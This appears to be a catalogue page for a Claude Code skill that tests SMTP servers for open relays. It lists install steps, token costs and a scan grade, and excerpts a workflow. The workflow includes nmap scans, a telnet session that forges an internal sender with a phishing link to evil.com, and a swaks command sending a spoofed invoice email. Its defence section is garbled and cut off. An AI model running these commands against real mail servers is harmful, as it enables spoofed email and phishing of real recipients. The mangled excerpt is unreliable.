smtp-open-relay-abuse

smtp-open-relay-abuse is a skill for Claude Code from akashrpatil/awesome-offensive-security-skills. It costs 54 tokens per session (1,064 once invoked), scanned A, original, Apache-2.0.

A security-testing guide for finding SMTP open relays, which are mail servers that send messages for unauthorized domains or users.

In plain words
What is it for?
Use it during an authorized perimeter assessment to scan exposed SMTP services, verify relay behavior, and document the risk.
Why use it?
It helps identify mail-server misconfigurations that could enable spoofed internal email and abuse for spam or phishing.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is > - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain pat.

Part of the cyberskills-elite plugin — 191 skills shipped together

Good fit Use it during an authorized perimeter assessment to scan exposed SMTP services, verify relay behavior, and document the risk.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skills
agentmods
npx agentmods add skills/akashrpatil/awesome-offensive-security-skills/smtp-open-relay-abuse

Made for: Claude Code.

Or install cyberskills-elite, the plugin that ships this one along with the rest of its 191 skills.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for smtp-open-relay-abuse

README.md
[![agentmods](https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/smtp-open-relay-abuse/github.svg)](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/smtp-open-relay-abuse)
Your own site
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/smtp-open-relay-abuse"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/smtp-open-relay-abuse/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for smtp-open-relay-abuse

Your own site · 80×15
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/smtp-open-relay-abuse"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/smtp-open-relay-abuse.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 54 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,064 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00054 $0.01064
Opus 5 $0.00027 $0.00532
Sonnet 5 $0.00011 $0.00213
Haiku 4.5 $0.00005 $0.00106

Measured 9d ago against content hash 23d928203c39, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-12, from the pricing page.

Security

Grade A, and why

smtp-open-relay-abuse scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.

The scan reads SKILL.md. This mod also ships 1 executable file (scripts/process.py), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

skills/penetration-testing/network/smtp-open-relay-abuse/SKILL.md · 133 lines

How it starts

The opening of the file, as written. The whole thing — 133 lines — stays where its author put it; the contents beside it link to each section on GitHub.

SMTP Open Relay Abuse

When to Use

  • When auditing an organization's network perimeter and discovering exposed SMTP services (port 25, 465, 587).
  • To demonstrate how misconfigured mail servers can be leveraged for anonymized spamming or highly effective, internally-spoofed phishing campaigns during a Red Team engagement.

Prerequisites

  • Network access to the target subnet (VPN, pivot, or direct connection)
  • Nmap and relevant network scanning tools installed
  • Understanding of TCP/IP, common protocols, and network segmentation
  • Root/admin access on the attack machine for raw socket operations

Workflow

Phase 1: Identifying Open SMTP Ports

# nmap -p 25,465,587 --open -sV IP_ADDRESS

# nmap -p 25 --script smtp-open-relay IP_ADDRESS

Phase 2: Manual Verification via Telnet

# telnet IP_ADDRESS 25

# HELO attacker.local

# MAIL FROM:<[email protected]>

# RCPT TO:<[email protected]>

# DATA
Subject: Critical IT Update
From: [email protected]
To: [email protected]

Please click the following link to secure your account: http://evil.com/login
.
# QUIT

Phase 3: Automated Exploitation using SWAKS

# swaks --to [email protected] --from [email protected] --server IP_ADDRESS --body "Please review the attached document." --header "Subject: Invoice Overdue"

Phase 4: Utilizing Extended SMTP (ESMTP) and Authentication Bypasses

# ```

#### Decision Point 🔀
```mermaid
flowchart TD
    A[Connect SMTP ] --> B{Accepts RCPT ]}
    B -->|Yes| C[Open Relay ]
    B -->|No| D[Check Auth ]
    C --> E[Send Phish gently ]

🔵 Blue Team Detection & Defense

  • Require Authentication: Network Filtering (Firewalls): Domain Verification (SPF/DKIM/DMARC): Key Concepts | Concept | Description | |---------|-------------|

Output Format

Smtp Open Relay Abuse — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Read the full file on GitHub · 133 lines

Files

What ships with it

2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 9d ago First seen · 133 lines · 54 tokens per session scan A 23d928203c39

Subscribe to this mod's changes

smtp-open-relay-abuse is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (5 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 54 tokens to every session and 1,064 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

Related

Other skills, from other repositories

analyzing-malicious-url-with-urlscan

URLScan.io is a free service for scanning and analyzing suspicious URLs. It captures screenshots, DOM content, HTTP transactions, JavaScript behavior, and network connections of web pages in an isolat.

mukul975/Anthropic-Cybersecurity-Skills · 48 tokens

email-security

DMARC/SPF/DKIM check, email spoofing, SMTP test, and security header analysis.

uphiago/recon-skills · 23 tokens

bgp-hijacking-concepts

Understand the mechanics of Border Gateway Protocol (BGP) Hijacking, where an attacker creatively manipulates Internet routing tables to intercept, monitor, or drop massive volumes of network traffic destined for legitimate Autonomous Systems (AS).

ShulkwiSEC/bb-huge · 53 tokens

ipv6-dns-takeover-mitm6

Exploit modern Windows environments that prefer IPv6 by using mitm6 to intercept and spoof DHCPv6 and DNS traffic. This skill covers how to poison DNS resolution for the local network, forcing NTLM authentication to a rogue server for credential capture or relay.

ShulkwiSEC/bb-huge · 65 tokens

analyzing-phishing-email-headers

Email headers contain critical metadata that reveals the true origin, routing path, and authentication status of emails. Analyzing these headers is a foundational skill for identifying phishing attemp.

autohandai/community-skills · 43 tokens

analyzing-malicious-url-with-urlscan

A guide for investigating suspicious web addresses with URLScan.io, a service that opens a URL in an isolated browser and records its screenshot, page structure, network requests, scripts, and redirects.

killvxk/cybersecurity-skills-zh · 53 tokens